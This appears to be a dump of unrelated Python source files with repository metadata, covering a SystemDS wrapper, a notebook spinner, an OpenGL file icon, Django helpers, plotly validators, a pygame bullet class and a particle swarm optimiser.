# Autogenerated From : scripts/builtin/correctTypos.dml
from typing import Dict, Iterable
from systemds.operator import OperationNode, Matrix, Frame, List, MultiReturn, Scalar
from systemds.script_building.dag import OutputType
from systemds.utils.consts import VALID_INPUT_TYPES
def correctTypos(strings: Frame,
**kwargs: Dict[str, VALID_INPUT_TYPES]):
"""
:param frequency_threshold: Strings that occur above this frequency level will not be corrected
:param distance_threshold: Max distance at which strings are considered similar
:param is_verbose: Print debug information
:return: 'OperationNode' containing
"""
params_dict = {'strings': strings}
params_dict.update(kwargs)
vX_0 = Frame(strings.sds_context, '')
vX_1 = Scalar(strings.sds_context, '')
vX_2 = Scalar(strings.sds_context, '')
vX_3 = Matrix(strings.sds_context, '')
vX_4 = Frame(strings.sds_context, '')
output_nodes = [vX_0, vX_1, vX_2, vX_3, vX_4, ]
op = MultiReturn(strings.sds_context, 'correctTypos', output_nodes, named_input_nodes=params_dict)
vX_0._unnamed_input_nodes = [op]
vX_1._unnamed_input_nodes = [op]
vX_2._unnamed_input_nodes = [op]
vX_3._unnamed_input_nodes = [op]
vX_4._unnamed_input_nodes = [op]
return op
|
[
"baunsgaard@tugraz.at"
] |
baunsgaard@tugraz.at
|
ce2a20b6cfa253ad34430502e424c381538ed45a
|
7f5fa529f558853bf127a6f8f08d954121633542
|
/pdm/_vendor/halo/halo_notebook.py
|
de595ff9c6ba0cba51b01c395a483b668acbe9eb
|
[
"MIT"
] |
permissive
|
jeverling/pdm
|
60335cc9912455c17a2fbbdf468f7f39c6cf943a
|
22bb6a9cba5ded7dee688770f5f48f768e09bb65
|
refs/heads/main
| 2023-08-29T18:01:25.444405
| 2021-11-14T13:03:18
| 2021-11-14T13:03:18
| 427,973,885
| 1
| 0
|
MIT
| 2021-11-14T16:01:12
| 2021-11-14T16:01:12
| null |
UTF-8
|
Python
| false
| false
| 3,219
|
py
|
from __future__ import absolute_import, print_function, unicode_literals
import sys
import threading
import pdm._vendor.halo.cursor as cursor
from pdm._vendor.halo import Halo
from pdm._vendor.halo._utils import colored_frame, decode_utf_8_text
class HaloNotebook(Halo):
def __init__(
self,
text="",
color="cyan",
text_color=None,
spinner=None,
placement="left",
animation=None,
interval=-1,
enabled=True,
stream=sys.stdout,
):
super(HaloNotebook, self).__init__(
text=text,
color=color,
text_color=text_color,
spinner=spinner,
placement=placement,
animation=animation,
interval=interval,
enabled=enabled,
stream=stream,
)
self.output = self._make_output_widget()
def _make_output_widget(self):
from ipywidgets.widgets import Output
return Output()
# TODO: using property and setter
def _output(self, text=""):
return ({"name": "stdout", "output_type": "stream", "text": text},)
def clear(self):
if not self.enabled:
return self
with self.output:
self.output.outputs += self._output("\r")
self.output.outputs += self._output(self.CLEAR_LINE)
self.output.outputs = self._output()
return self
def _render_frame(self):
frame = self.frame()
output = "\r{}".format(frame)
with self.output:
self.output.outputs += self._output(output)
def start(self, text=None):
if text is not None:
self.text = text
if not self.enabled or self._spinner_id is not None:
return self
if self._stream.isatty():
cursor.hide()
self.output = self._make_output_widget()
from IPython.display import display
display(self.output)
self._stop_spinner = threading.Event()
self._spinner_thread = threading.Thread(target=self.render)
self._spinner_thread.setDaemon(True)
self._render_frame()
self._spinner_id = self._spinner_thread.name
self._spinner_thread.start()
return self
def stop_and_persist(self, symbol=" ", text=None):
"""Stops the spinner and persists the final frame to be shown.
Parameters
----------
symbol : str, optional
Symbol to be shown in final frame
text: str, optional
Text to be shown in final frame
Returns
-------
self
"""
if not self.enabled:
return self
symbol = decode_utf_8_text(symbol)
if text is not None:
text = decode_utf_8_text(text)
else:
text = self._text["original"]
text = text.strip()
if self._text_color:
text = colored_frame(text, self._text_color)
self.stop()
output = "\r{} {}\n".format(
*[(text, symbol) if self._placement == "right" else (symbol, text)][0]
)
with self.output:
self.output.outputs = self._output(output)
|
[
"mianghong@gmail.com"
] |
mianghong@gmail.com
|
e060e41da085c54baadaffc2295a417a6d40a2f6
|
b7b2f80ab5e1ee0ea028576e3014b62b8d3a8d7e
|
/pyfile/pyfm-010/fileicon.py
|
d0093c6c5e2653257b83e914445cef0f5980e4b0
|
[] |
no_license
|
pglen/pgpygtk
|
4d1405478a714f003984cf3e3db04ff1f767470b
|
33f58010e304f1a312f2356de453ecedb7aa21ef
|
refs/heads/master
| 2021-01-22T01:18:52.238415
| 2019-01-01T01:37:24
| 2019-01-01T01:37:24
| 102,215,955
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 6,298
|
py
|
#!/usr/bin/env python
#
# 3D File Manager in Python OpenGL, helper routines
#
import math, sys, subprocess
import gtk.gtkgl
from OpenGL.GL import *
from OpenGL.GLU import *
#from gtk.gtkgl.apputils import *
from OpenGL.GL.ARB.multitexture import *
class FileIcon():
def __init__(self, self2, fname, txt, command, xpos = 0, ypos = 0, zpos = 0):
global gl_name
self.pixbuf2 = None
self.command = command
self.self2 = self2
self.txt = txt; self.fname = fname
self.xpos = xpos; self.ypos = ypos; self.zpos = zpos
self.myname = self2.nextname()
self.focus = False
try:
pixbuf = gtk.gdk.pixbuf_new_from_file(fname)
except:
print "No image."
return
if not pixbuf.get_has_alpha():
#print "Adding Alpha", fname
#pixbuf.add_alpha(False, 255,255,255)
pixbuf.add_alpha(True, 0, 0, 0)
www = 256; hhh = 256
self.pixbuf2 = gtk.gdk.Pixbuf(gtk.gdk.COLORSPACE_RGB, True, 8, www, hhh)
pixbuf.scale(self.pixbuf2, 0, 0, www, hhh,
0, 0, float(www)/pixbuf.get_width(), float(hhh)/pixbuf.get_height(),
gtk.gdk.INTERP_BILINEAR)
def draw(self, pos_y, angle):
if not self.pixbuf2:
print "No image", self.fname
return
glPushMatrix ()
#print glGetString(GL_EXTENSIONS)
#glEnable(GL_TEXTURE_2D)
# Check the extension availability.
#if not glInitMultitextureARB():
# print "Help! No GL_ARB_multitexture"
# sys.exit(1)
glTranslatef (self.xpos, self.ypos - pos_y, self.zpos)
glRotatef (angle, 0.0, 1.0, 0.0)
siz = .4
glPushMatrix ()
exten = self.self2.font8.extent3Dstr(self.txt)
glTranslatef (-exten[0]/2, -siz * 1.5, 0.1)
self.self2.font8.print3Dstr(self.txt)
glPopMatrix ()
#glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP)
#glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP)
#glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_R, GL_CLAMP)
#glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE)
#glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE)
#glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_R, GL_CLAMP_TO_EDGE)
#glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT)
#glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT)
glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST)
glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST)
#glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR)
#glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR)
glTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_DECAL)
#glPixelStorei(GL_UNPACK_ALIGNMENT, 1)
#glPixelStorei(GL_UNPACK_SKIP_ROWS, 0)
#glPixelStorei(GL_UNPACK_SKIP_PIXELS, 0)
#glPixelStorei(GL_UNPACK_ROW_LENGTH, 0)
glEnable(GL_TEXTURE_2D)
glActiveTextureARB(GL_TEXTURE0_ARB)
ww = self.pixbuf2.get_height(); hh = self.pixbuf2.get_width()
#print ww, hh
glTexImage2D(GL_TEXTURE_2D, 0, 3, ww, hh, 0, GL_RGBA,
GL_UNSIGNED_BYTE, self.pixbuf2.get_pixels() )
glLoadName(self.myname)
#glPassThrough(self.myname)
glBegin(GL_QUADS)
# Bottom Left
glMultiTexCoord2fARB(GL_TEXTURE0_ARB, 0.0, 1.0)
glVertex3f(-siz, -siz, .0)
# Bottom Right
glMultiTexCoord2fARB(GL_TEXTURE0_ARB, 1.0, 1.0)
glVertex3f( siz, -siz, .0)
# Top Right
glMultiTexCoord2fARB(GL_TEXTURE0_ARB, 1.0, 0.0)
glVertex3f( siz, siz, .0)
# Top Left
glMultiTexCoord2fARB(GL_TEXTURE0_ARB, 0.0, 0.0)
glVertex3f(-siz, siz, .0)
glEnd()
glDisable(GL_TEXTURE_2D)
# Focus
if self.focus:
#print "focus"
mat_ambient = [ 0.6, 0.6, 0.6, 1.0 ]
glMaterialfv (GL_FRONT, GL_AMBIENT, mat_ambient)
glBegin(GL_QUADS)
x1 = -siz; x2 = siz
y1 = siz; y2 = -siz
linegap = 0.01; depth = 0.01
yf = y1 + linegap
glVertex3f(x1, y1, 0 - depth)
glVertex3f(x2, y1, 0 - depth)
glVertex3f(x2, yf, 0 - depth)
glVertex3f(x1, yf, 0 - depth)
yf = y2 - linegap
glVertex3f(x1, y2, 0 - depth)
glVertex3f(x2, y2, 0 - depth)
glVertex3f(x2, yf, 0 - depth)
glVertex3f(x1, yf, 0 - depth)
xf = x1 - linegap
glVertex3f(xf, y1, 0 - depth)
glVertex3f(x1, y1, 0 - depth)
glVertex3f(x1, y2, 0 - depth)
glVertex3f(xf, y2, 0 - depth)
xf = x2 + linegap
glVertex3f(xf, y1, 0 - depth)
glVertex3f(x2, y1, 0 - depth)
glVertex3f(x2, y2, 0 - depth)
glVertex3f(xf, y2, 0 - depth)
glEnd()
glPopMatrix ()
def do_exec(self):
print "Exec", self.txt
try:
ret = subprocess.Popen([self.command,])
except:
print"\n Cannot launch ", self.command
a,b,c = sys.exc_info()
print sys.excepthook(a,b,c)
def motion(self, event):
#print "fileicon motion", event
pass
def button(self, res, event):
if self.myname in res.names:
got = True
else:
got = False
if event.type == gtk.gdk.BUTTON_PRESS:
if got:
self.focus = True
else:
self.focus = False
if event.type == gtk.gdk._2BUTTON_PRESS:
if got:
self.do_exec()
|
[
"peterglen99@gmail.com"
] |
peterglen99@gmail.com
|
5244b3066e5f11804f7748f54801fe61074231b7
|
b518fdfe5e0d26c384ae4d7770a1c16134640462
|
/lms/migrations/0020_auto_20200820_1703.py
|
2bce2e6daab456377d80864d6755f354b775400d
|
[] |
no_license
|
ravichandra99/forlms
|
70c43fa8e6e4475b7b18c247e490fc3d4dcb86a1
|
ea43cdef75e2984b0a093ad6a0143ef730bfbab5
|
refs/heads/master
| 2022-12-05T23:03:54.909261
| 2020-08-24T06:21:28
| 2020-08-24T06:21:28
| 289,515,731
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 571
|
py
|
# Generated by Django 3.0.8 on 2020-08-20 11:33
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('lms', '0019_auto_20200820_1702'),
]
operations = [
migrations.AlterField(
model_name='course',
name='faq',
field=models.ManyToManyField(blank=True, to='lms.FAQ'),
),
migrations.AlterField(
model_name='course',
name='project',
field=models.ManyToManyField(blank=True, to='lms.Project'),
),
]
|
[
"you@example.com"
] |
you@example.com
|
963c3c937ebbc170044186ef1b7d0d69c25594e3
|
30ac8484a6318a14c1a18994506b476522a8518f
|
/recipe_modules/futures/__init__.py
|
bde85606e48b93f60291bc6ae6239efcca9a8680
|
[
"Apache-2.0"
] |
permissive
|
Quantum-Platinum-Cloud/recipes-py
|
69ee248035c4bf582088d064f1acefbf2ecedaf0
|
b60bb0d221df01a41a175daf18632ec0525f20f1
|
refs/heads/main
| 2023-05-30T13:45:07.673046
| 2023-05-25T19:06:27
| 2023-05-25T19:06:27
| 646,251,290
| 1
| 0
| null | 2023-05-27T19:17:34
| 2023-05-27T19:17:33
| null |
UTF-8
|
Python
| false
| false
| 162
|
py
|
# Copyright 2021 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
|
[
"infra-scoped@luci-project-accounts.iam.gserviceaccount.com"
] |
infra-scoped@luci-project-accounts.iam.gserviceaccount.com
|
87c28f9695b7880bf6642fae0143c7b660d07d56
|
a5e5d39f42f468d35f18aab3e78c3c090046b0df
|
/apps/countdown_letters/utils.py
|
34d0cb8777eb356f5c90822ce23bf70b8317f8e0
|
[] |
no_license
|
WayneLambert/portfolio
|
66198dfc18b3f254e6bc726575903c3e8f570dc4
|
7e02165386e4784f81e15bae0325a77cf45f410d
|
refs/heads/main
| 2023-02-04T18:08:13.559223
| 2023-01-29T14:13:59
| 2023-01-29T14:13:59
| 180,239,669
| 5
| 1
| null | 2023-02-04T07:07:10
| 2019-04-08T22:02:22
|
JavaScript
|
UTF-8
|
Python
| false
| false
| 1,860
|
py
|
from urllib.parse import urlencode
from django.urls import reverse
from apps.countdown_letters import logic
from apps.countdown_letters.models import LettersGame
def build_game_screen_url(num_vowels_selected: int) -> str:
"""
Builds the game screen's URL based upon the game's logic for
choosing the letters for the game.
"""
letters_chosen = logic.get_letters_chosen(num_vowels=num_vowels_selected)
base_url = reverse('countdown_letters:game')
letters_chosen_url = urlencode({'letters_chosen': letters_chosen})
return f"{base_url}?{letters_chosen_url}"
def build_results_screen_url(letters_chosen: str, players_word: str) -> str:
"""
Builds the results screen's URL based upon the game's chosen letters
and the player's selected word.
"""
base_url = reverse('countdown_letters:results')
letters_chosen_url = urlencode({'letters_chosen': letters_chosen})
players_word_url = urlencode({'players_word': players_word})
return f"{base_url}?{letters_chosen_url}&{players_word_url}"
def create_record(context: dict):
"""
Following context dictionary validations within the view process,
posts the results to the database for reference and later retrieval.
"""
LettersGame.objects.create(
letters_chosen=context['letters_chosen'],
players_word=context['players_word'],
comp_word=context['comp_word'],
eligible_answer=context['eligible_answer'],
winning_word=context['winning_word'],
player_word_len=context['player_word_len'],
comp_word_len=context['comp_word_len'],
player_score=context['player_score'],
comp_score=context['comp_score'],
definition=context['definition_data']['definition'],
word_class=context['definition_data']['word_class'],
result=context['result'],
)
|
[
"wayne.a.lambert@gmail.com"
] |
wayne.a.lambert@gmail.com
|
d3c3b2c4176952ecea3c6ff9256d43ff609b77e2
|
3ab494cac87a9f3c5ba17c903ffdbba7e72c305f
|
/algorithm/보충/venv/Scripts/easy_install-3.6-script.py
|
3eb42c94cecd12c6de91863c2165be01675d4f1b
|
[] |
no_license
|
sochic2/TIL
|
6036cae002ce4c4ba5e7d2175e668c664de209de
|
eb2709f5ac1a4b9c79dda0e647f14044c7a4fb6e
|
refs/heads/master
| 2023-01-10T03:51:14.057387
| 2022-12-21T01:27:38
| 2022-12-21T01:27:38
| 162,229,719
| 4
| 1
| null | 2023-01-09T11:56:04
| 2018-12-18T04:23:54
|
Python
|
WINDOWS-1256
|
Python
| false
| false
| 476
|
py
|
#!C:\Users\student\Desktop\namki\TIL\algorithm\؛¸أو\venv\Scripts\python.exe -x
# EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==39.1.0','console_scripts','easy_install-3.6'
__requires__ = 'setuptools==39.1.0'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(
load_entry_point('setuptools==39.1.0', 'console_scripts', 'easy_install-3.6')()
)
|
[
"netzzang12@gmail.com"
] |
netzzang12@gmail.com
|
f3bdb90d97b79633bf441562fe7407603ed74a15
|
3f1afc627ac4ba3b870cefd95b307e2194f3c377
|
/Gabarito/Exercícios/Lista02/questao04.py
|
4b57503465ad7968d3e8353e29a5897318e69dd7
|
[] |
no_license
|
valeriacavalcanti/IP-2019.2
|
5e800430131c80979aadbc3481f0bcb07c08921f
|
8d796bea2a4892f38c5278069233f5bbb00d4510
|
refs/heads/master
| 2020-08-06T22:24:34.416129
| 2019-12-11T15:02:44
| 2019-12-11T15:02:44
| 213,180,406
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 134
|
py
|
n1 = 0
n2 = 1
qtde = int(input('Quantidade: '))
for i in range(qtde):
print(n1, '', end='')
n1, n2 = n2, n1
n2 = n1 + n2
print()
|
[
"valeria.cavalcanti@ifpb.edu.br"
] |
valeria.cavalcanti@ifpb.edu.br
|
12a2f8fa71fdc51df7e8e9b65d16e8c5fbee75ca
|
7ec91f8b8342b1ab62d315424f43588a13dda307
|
/solu/225. Implement Stack using Queues.py
|
2408835fcf98d461605bfbc7acf78815f82dad2a
|
[] |
no_license
|
coolmich/py-leetcode
|
bbd001a1cb41b13cd0515d1b764ec327dfaaa03c
|
3129438b032d3aeb87c6ac5c4733df0ebc1272ba
|
refs/heads/master
| 2020-05-21T08:44:46.564419
| 2016-09-15T15:45:08
| 2016-09-15T15:45:08
| 60,917,444
| 3
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 741
|
py
|
from collections import deque
class Stack(object):
def __init__(self):
"""
initialize your data structure here.
"""
self.q = deque([])
self.sz = 0
def push(self, x):
"""
:type x: int
:rtype: nothing
"""
self.q.append(x)
self.sz += 1
n = self.sz
while n > 1:
self.q.append(self.q.popleft())
n -= 1
def pop(self):
"""
:rtype: nothing
"""
self.sz -= 1
self.q.popleft()
def top(self):
"""
:rtype: int
"""
return self.q[0]
def empty(self):
"""
:rtype: bool
"""
return self.sz == 0
|
[
"coolmich00@gmail.com"
] |
coolmich00@gmail.com
|
fdef99f1e3c57a1ebf30037d68abb0430da91add
|
7a09af404f29389504742a3d5f1727bfbe562750
|
/TrekBot_WS/build/zed-ros-wrapper/tutorials/zed_tracking_sub_tutorial/catkin_generated/pkg.develspace.context.pc.py
|
4a1d4c47aeb7e2baacd1ef341fc620353217ace4
|
[
"MIT"
] |
permissive
|
Rafcin/TrekBot
|
4baa2ed93b90920b36adba0b72384ac320d2de01
|
d3dc63e6c16a040b16170f143556ef358018b7da
|
refs/heads/master
| 2020-03-30T02:15:35.361254
| 2018-12-14T03:30:25
| 2018-12-14T03:30:25
| 150,622,252
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 395
|
py
|
# generated from catkin/cmake/template/pkg.context.pc.in
CATKIN_PACKAGE_PREFIX = ""
PROJECT_PKG_CONFIG_INCLUDE_DIRS = "".split(';') if "" != "" else []
PROJECT_CATKIN_DEPENDS = "".replace(';', ' ')
PKG_CONFIG_LIBRARIES_WITH_PREFIX = "".split(';') if "" != "" else []
PROJECT_NAME = "zed_tracking_sub_tutorial"
PROJECT_SPACE_DIR = "/xavier_ssd/TrekBot/TrekBot_WS/devel"
PROJECT_VERSION = "2.6.0"
|
[
"Rafcin.s@gmail.com"
] |
Rafcin.s@gmail.com
|
b8e63a9fbc5a3b0416566a73132e8279c3cc3cd3
|
010279e2ba272d09e9d2c4e903722e5faba2cf7a
|
/contrib/python/plotly/py2/plotly/validators/contourcarpet/contours/labelfont/__init__.py
|
c81c9ce64d4004929b30ba1d1131b7bc3d944506
|
[
"MIT",
"Apache-2.0"
] |
permissive
|
catboost/catboost
|
854c1a1f439a96f1ae6b48e16644be20aa04dba2
|
f5042e35b945aded77b23470ead62d7eacefde92
|
refs/heads/master
| 2023-09-01T12:14:14.174108
| 2023-09-01T10:01:01
| 2023-09-01T10:22:12
| 97,556,265
| 8,012
| 1,425
|
Apache-2.0
| 2023-09-11T03:32:32
| 2017-07-18T05:29:04
|
Python
|
UTF-8
|
Python
| false
| false
| 1,637
|
py
|
import _plotly_utils.basevalidators
class SizeValidator(_plotly_utils.basevalidators.NumberValidator):
def __init__(
self,
plotly_name="size",
parent_name="contourcarpet.contours.labelfont",
**kwargs
):
super(SizeValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "plot"),
min=kwargs.pop("min", 1),
role=kwargs.pop("role", "style"),
**kwargs
)
import _plotly_utils.basevalidators
class FamilyValidator(_plotly_utils.basevalidators.StringValidator):
def __init__(
self,
plotly_name="family",
parent_name="contourcarpet.contours.labelfont",
**kwargs
):
super(FamilyValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "plot"),
no_blank=kwargs.pop("no_blank", True),
role=kwargs.pop("role", "style"),
strict=kwargs.pop("strict", True),
**kwargs
)
import _plotly_utils.basevalidators
class ColorValidator(_plotly_utils.basevalidators.ColorValidator):
def __init__(
self,
plotly_name="color",
parent_name="contourcarpet.contours.labelfont",
**kwargs
):
super(ColorValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "style"),
role=kwargs.pop("role", "style"),
**kwargs
)
|
[
"robot-piglet@yandex-team.com"
] |
robot-piglet@yandex-team.com
|
3ff051a1e0fbccee71a8f6395bf9a393a6840ce8
|
a5f31704d64de5ceeab45811b94f43c7b9b3604e
|
/bullet.py
|
33c7318f91337b06fd9345fe594b6a2a298f182a
|
[] |
no_license
|
Zhaisan/PythonDev
|
6788908f85a628bfa5340185b27e44e5fec4b3a4
|
43aca96d9df6b97651fdf16cf7b3e6d193a1c6b9
|
refs/heads/master
| 2023-05-09T07:19:37.364294
| 2021-05-31T14:43:49
| 2021-05-31T14:43:49
| 237,256,001
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 714
|
py
|
bullet.py
import pygame
from pygame.sprite import Sprite
class Bullet(Sprite):
def __init__(self, ai_settings, screen, ship):
# объект пули в текущей позиции корабля."""
super(Bullet, self).__init__()
self.screen = screen
# Создание пули в позиции (0,0) и назначение правильной позиции.
self.rect = pygame.Rect(0, 0, ai_settings.bullet_width,ai_settings.bullet_height)
self.rect.centerx = ship.rect.centerx
self.rect.top = ship.rect.top
self.y = float(self.rect.y)
self.color = ai_settings.bullet_color
self.speed_factor = ai_settings.bullet_speed_factor
|
[
"noreply@github.com"
] |
Zhaisan.noreply@github.com
|
f7392bf4d8322e9dbd1a06a364b5a14d802954af
|
f07a42f652f46106dee4749277d41c302e2b7406
|
/Data Set/bug-fixing-5/b2dac080496d9534c6661a7e47f687373dd8c038-<test_zero_dim>-bug.py
|
9c37521a67795f28c566fc1c46c3c2af88c2f14b
|
[] |
no_license
|
wsgan001/PyFPattern
|
e0fe06341cc5d51b3ad0fe29b84098d140ed54d1
|
cc347e32745f99c0cd95e79a18ddacc4574d7faa
|
refs/heads/main
| 2023-08-25T23:48:26.112133
| 2021-10-23T14:11:22
| 2021-10-23T14:11:22
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 402
|
py
|
def test_zero_dim(self):
_test_reshape(old_shape=(4, 2, 1), new_shape=(0, 0, 0), expected_shape=(4, 2, 1))
_test_reshape(old_shape=(4, 2, 1), new_shape=(0, 0, 0), expected_shape=(4, 2, 1), arg_shape=False)
_test_reshape(old_shape=(4, 2, 1), new_shape=(0, 2, 1), expected_shape=(4, 2, 1))
_test_reshape(old_shape=(4, 2, 1), new_shape=(0, 2, 1), expected_shape=(4, 2, 1), arg_shape=False)
|
[
"dg1732004@smail.nju.edu.cn"
] |
dg1732004@smail.nju.edu.cn
|
32aa5d9cac9deb1adfdf09a485151fce534ecd73
|
a3f3c625af98882a7f1775de1e6187f1ead4e32b
|
/playground/swarm/pso.py
|
0fa9e4d29e75bad2e8c5e50770db40f8b8c213ee
|
[
"MIT"
] |
permissive
|
StanJBrown/playground
|
e0846986af5939be77ee561794b5bd0c94a37c28
|
f372c3c547d0ad34f9bdffaa2b2e93d089a3f5a4
|
refs/heads/master
| 2020-07-01T11:45:45.410104
| 2014-12-12T19:19:39
| 2014-12-12T19:19:39
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 6,542
|
py
|
#!/usr/bin/env python2
import os
import sys
import time
from random import random
from random import uniform
sys.path.append(os.path.join(os.path.dirname(__file__), "../../"))
import matplotlib.pylab as plt
from playground.population import Population
class PSOParticle(object):
def __init__(self, **kwargs):
self.score = kwargs.get("score", None)
self.best_score = self.score
self.position = kwargs.get("position", None)
self.best_position = self.position
self.velocity = kwargs.get("velocity", None)
self.bounds = kwargs.get("bounds", None)
self.max_velocity = kwargs.get("max_velocity", None)
def update_velocity(self, best, c_1, c_2):
if self.max_velocity is None:
raise RuntimeError("max_velocity is None!")
# loop through each dimension
for i in range(len(self.position)):
# calcuate cognitive and social components
cog = c_1 * random() * (self.best_position[i] - self.position[i])
soc = c_2 * random() * (best.best_position[i] - self.position[i])
# update velocity
self.velocity[i] = self.velocity[i] + cog + soc
# if velocity reaches max, cap the velocity
if self.velocity[i] > self.max_velocity[i]:
self.velocity[i] = self.max_velocity[i]
elif self.velocity[i] < -self.max_velocity[i]:
self.velocity[i] = -self.max_velocity[i]
def check_over_bounds(self):
if self.bounds is None:
raise RuntimeError("bounds is None!")
# loop through each dimension
for i in range(len(self.bounds)):
# get min and max boundary for i-th dimension
min_bound = self.bounds[i][0]
max_bound = self.bounds[i][1]
# check for over the boundary
if self.position[i] > max_bound:
diff = abs(self.position[i] - max_bound)
self.position[i] = max_bound - diff
self.velocity[i] *= -1.0 # reverse direction
# check for under the boundary
elif self.position[i] < min_bound:
diff = abs(self.position[i] - min_bound)
self.position[i] = min_bound + diff
self.velocity[i] *= -1.0 # reverse direction
def update_position(self):
# loop through each dimension
for i in range(len(self.position)):
# update position
self.position[i] = self.position[i] + self.velocity[i]
# check if over bounds
self.check_over_bounds()
def update_best_position(self):
if self.score < self.best_score:
self.best_score = self.score
self.best_position = self.position
class PSOParticleGenerator(object):
def __init__(self, config):
self.config = config
self.bounds = config.get("bounds", None)
self.max_velocity = config.get("max_velocity", None)
self.obj_func = config.get("objective_function", None)
def random_velocity_vector(self):
if self.max_velocity is None:
raise RuntimeError("max velocity is None!")
random_vector = []
for i in range(len(self.max_velocity)):
min_bound = self.max_velocity[i]
max_bound = -self.max_velocity[i]
random_num = uniform(min_bound, max_bound)
random_vector.append(random_num)
return random_vector
def random_position_vector(self):
if self.bounds is None:
raise RuntimeError("bounds is None!")
random_vector = []
for i in range(len(self.bounds)):
min_bound = self.bounds[i][0]
max_bound = self.bounds[i][1]
random_num = uniform(min_bound, max_bound)
random_vector.append(random_num)
return random_vector
def create_particle(self):
if self.obj_func is None:
raise RuntimeError("obj_func is None!")
particle = PSOParticle()
# position
particle.position = self.random_position_vector()
particle.best_position = particle.position
# velocity
particle.velocity = self.random_velocity_vector()
# score
particle.score = self.obj_func(particle.position)
particle.best_score = particle.score
# boundaries for position and velocity
particle.bounds = self.bounds
particle.max_velocity = self.max_velocity
return particle
def init(self):
population = Population(self.config)
for i in range(self.config["max_population"]):
particle = self.create_particle()
population.individuals.append(particle)
return population
def pso_search(population, config):
obj_func = config["objective_function"]
gbest = population.find_best_individuals()[0]
max_generations = config["max_generations"]
c_1 = config["c_1"]
c_2 = config["c_2"]
# search loop
for gen in range(max_generations):
# update particles
for particle in population.individuals:
particle.update_velocity(gbest, c_1, c_2)
particle.update_position()
particle.score = obj_func(particle.position)
particle.update_best_position()
# update global best
population.sort_individuals()
gen_best = population.find_best_individuals()[0]
if gen_best.score < gbest.score:
gbest = PSOParticle(
score=gen_best.score,
position=list(gen_best.position),
velocity=list(gen_best.velocity),
bounds=gen_best.bounds,
max_velocity=gen_best.max_velocity
)
# print
print " > gen {0}, fitness={1}".format(gen, gbest.score)
# display animation
if config.get("animate", False):
# pre-check
if len(config["bounds"]) > 2:
raise RuntimeError("Animate does not support > 2 dimensions!")
# animate swarm
x = [p.position[0] for p in population.individuals]
y = [p.position[1] for p in population.individuals]
plt.clf() # clear figure
plt.scatter(x, y)
plt.xlim(config["bounds"][0])
plt.ylim(config["bounds"][1])
plt.draw()
plt.show(block=False)
time.sleep(config.get("animation_frame_delay", 0.1))
return (gbest.position, gbest.score)
|
[
"chutsu@gmail.com"
] |
chutsu@gmail.com
|
45a709071d8ec420e128a6a4db0795c863d79579
|
2cfcc435d82455e5273c2643092cda8f641e1f50
|
/portfolio/migrations/0023_auto_20190712_1402.py
|
675aaabf9c944f9b8d63bcd81494b2c0faf5c96a
|
[] |
no_license
|
iAnafem/My_website
|
bdc8804bfe099e095faa96233d138278d9a8f11b
|
6cb1498809ef2027b419960544c8101649cb5c89
|
refs/heads/master
| 2022-12-09T15:23:32.717676
| 2019-08-22T20:03:45
| 2019-08-22T20:03:45
| 187,834,896
| 0
| 0
| null | 2022-12-08T05:51:02
| 2019-05-21T12:41:47
|
Python
|
UTF-8
|
Python
| false
| false
| 408
|
py
|
# Generated by Django 2.2.3 on 2019-07-12 11:02
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('portfolio', '0022_auto_20190712_1357'),
]
operations = [
migrations.AlterField(
model_name='projectimages',
name='description',
field=models.TextField(blank=True, null=True),
),
]
|
[
"DPronkin@mostro.ru"
] |
DPronkin@mostro.ru
|
1e7986478e8ef71cc2aa8e795af6d16af4a20b41
|
287a10a6f28517003728aebbd7ed097af13a8d18
|
/exp_170508_after_bug_fix_in_mc/create_border_contact_figure.py
|
8987102c8da185cc105167ad1679624f50405007
|
[] |
no_license
|
jhennies/nmmp_experiments
|
05c78c6068fa0f6df0002e57529cd7b8d1daa456
|
7c06a5818a5176fa0dc17a42ba22b2262239d91d
|
refs/heads/master
| 2021-04-06T12:01:25.537695
| 2017-09-22T13:42:51
| 2017-09-22T13:42:51
| 83,289,168
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,000
|
py
|
from multicut_src.false_merges.compute_border_contacts import compute_border_contacts_old
from multicut_src import load_dataset
import os
import vigra
from multicut_src import ExperimentSettings
from pipeline import find_false_merges
# TODO Change here
